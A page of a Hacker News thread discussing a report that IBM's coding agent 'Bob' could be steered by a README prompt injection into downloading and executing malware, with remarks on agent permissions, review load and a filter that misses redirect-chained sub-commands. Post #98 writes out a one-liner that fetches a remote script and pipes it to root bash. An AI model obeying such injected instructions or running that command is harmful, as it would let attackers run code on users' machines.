Hacker News Board Hacker News, browsed like a classic message board
Live data from Hacker News

IBM AI ('Bob') Downloads and Executes Malware

promptarmor.com

Post reply on HN
Print view View original

91–100 of 126 posts

Re: IBM AI ('Bob') Downloads and Executes Malware

#91

Post by hu3 »

raesene9 wrote: post #62
mlyle wrote: post #55

Earlier quoted context omitted.

I have to check what junior engineers do before running it in production. And AI is just really fast junior engineering.

The really fast part is the challenge though. If we assume that in pre-LLM world, there was enough resource for mid/senior level engineers to review junior engineer code and then in LLM world, lets say we can produce 10x the code, unless we 10x the number of mid/senior level engineering resource dedicated to review, what was once possible is no longer possible...

We all know what will happen in many apps.

The user will test most of the code.

Just like we did test yesterday when Claude Code broke because CHANGELOG.md had an unexpected date.

Re: IBM AI ('Bob') Downloads and Executes Malware

#92

Post by philipallstar »

SoleilAbsolu wrote: post #78
moron4hire wrote: post #71

Earlier quoted context omitted.

A human worker can be coached, fired, terminated, sued, any number of things can be done to a human worker for making such a mistake or willful attack. But AI companies, as we have seen with almost every issue so far, will be given a pass while Sam Altman sycophants cheer and talk about how it'll "get better" in the future, just trust them.

Yeah, if I hung a sign on my door saying "Answers generated by this person may be incorrect" my boss and HR would quickly put me on a PIP, or worse. If a physical product didn't do what it claimed to do, it would be recalled and the maker would get sued. Why does AI get a pass just pooping out plausible but incorrect, and sometimes very dangerous, answers?

> Yeah, if I hung a sign on my door saying "Answers generated by this person may be incorrect" my boss and HR would quickly put me on a PIP, or worse

I also have never written a bug, fellow alien.

Re: IBM AI ('Bob') Downloads and Executes Malware

#94

Post by orliesaurus »

Think about this for a second. So we're telling me that IBM just created an AI assistant that's basically been trained to run malware if you tell it nicely? That's wild, man. That's actually insane.

Like, we're at this point now where we're building these superintelligent systems but we can't even figure out how to keep them from getting pranked by a README file? A README FILE, bro. That's like... that's like building a robot bodyguard but forgetting to tell it the difference between a real gun and a fake gun.

And here's the crazy part - the article says users just have to not click "always allow." But dude, have you MET users? Come on. That's like telling someone not to eat the Tide Pod. You're fighting human nature here.

I'm telling you, five years from now we're gonna have some kid write a poem about cybersecurity in their GitHub repo and accidentally crash the entire Stock Exchange. Mark my words. This is the most insane timeline.

Re: IBM AI ('Bob') Downloads and Executes Malware

#95

Post by hu3 »

prodigycorp wrote: post #25

I'm not saying IBM shouldn't try, but really – why is IBM building coding CLIs? They're like the company version of the Steve Buscemi "How do you do, fellow kids?" meme.

The last company that didn't integrate AI had to fire 75% of their engineering team.

AI sells.

Re: IBM AI ('Bob') Downloads and Executes Malware

#96

Post by Terr_ »

VTimofeenko wrote: post #46
TZubiri wrote: post #33

Earlier quoted context omitted.

That's what they are actually doing. I think quite opposite, agents need to come with all permissions possible, highlighting that it's actually the OS responsibility to constrain it. It's kind of dumb to except a process to constrain itself.

A non-deterministic process at that. Coding agents are basically "curl into sh" pattern on steroids

Even worse, the sh portion is recursive.

So the attacker doesn't need to send an evil-bit over the network, if they can trigger the system into dreaming up the evil-bit indirectly as its own output at some point.

Re: IBM AI ('Bob') Downloads and Executes Malware

#97

Post by iLoveOncall »

InsideOutSanta wrote: post #56
OakNinja wrote: post #32

"IBM Bob is IBM’s new coding agent, currently in Closed Beta. " Promptarmor did a similar attack(1) on Google's Antigravity that is also a beta version. Since then, they added secure mode(2). These are still beta tools. When the tools are ready, I'd argue that they will probably be safer out of the box compared to a whole lot of users that just blindly copy-paste stuff from the internet, adding random dependencies wi…

While they have found some solvable issues (e.g. "the defense system fails to identify separate sub-commands when they are chained using a redirect operator"), the main issue is unsolvable. If you allow an LLM to edit your code and also give it access to untrusted data (like the Internet), you have a security problem.

> If you allow an LLM to edit your code and also give it access to untrusted data (like the Internet), you have a security problem.

You don't even need to give it access to Internet to have issues. The training data is untrusted.

It's a guarantee that bad actors are spreading compromised code to infect the training data of future models.

Re: IBM AI ('Bob') Downloads and Executes Malware

#98

Post by schmuckonwheels »

I don't see the problem here.

We have automated the task of developers blindly executing

  wget -qO - http://shadysite/foo.sh | sudo bash
They would have happily pasted it into the terminal without the automation.

It's a net win for everyone involved.

Malware writers and their targets alike, who, eager to install the latest fad library or framework would have voluntarily installed it anyway.

Re: IBM AI ('Bob') Downloads and Executes Malware

#99

Post by mistrial9 »

InsideOutSanta wrote: post #56
OakNinja wrote: post #32

"IBM Bob is IBM’s new coding agent, currently in Closed Beta. " Promptarmor did a similar attack(1) on Google's Antigravity that is also a beta version. Since then, they added secure mode(2). These are still beta tools. When the tools are ready, I'd argue that they will probably be safer out of the box compared to a whole lot of users that just blindly copy-paste stuff from the internet, adding random dependencies wi…

While they have found some solvable issues (e.g. "the defense system fails to identify separate sub-commands when they are chained using a redirect operator"), the main issue is unsolvable. If you allow an LLM to edit your code and also give it access to untrusted data (like the Internet), you have a security problem.

no, you have a trust problem. Is the tool assisting, or is are the tools the architect, builder, manager, court and bank?

Re: IBM AI ('Bob') Downloads and Executes Malware

#100

Post by philipallstar »

orliesaurus wrote: post #94

Think about this for a second. So we're telling me that IBM just created an AI assistant that's basically been trained to run malware if you tell it nicely? That's wild, man. That's actually insane. Like, we're at this point now where we're building these superintelligent systems but we can't even figure out how to keep them from getting pranked by a README file? A README FILE, bro. That's like... that's like buildin…

That's odd. I don't remember getting into a taxi.
Post reply on HN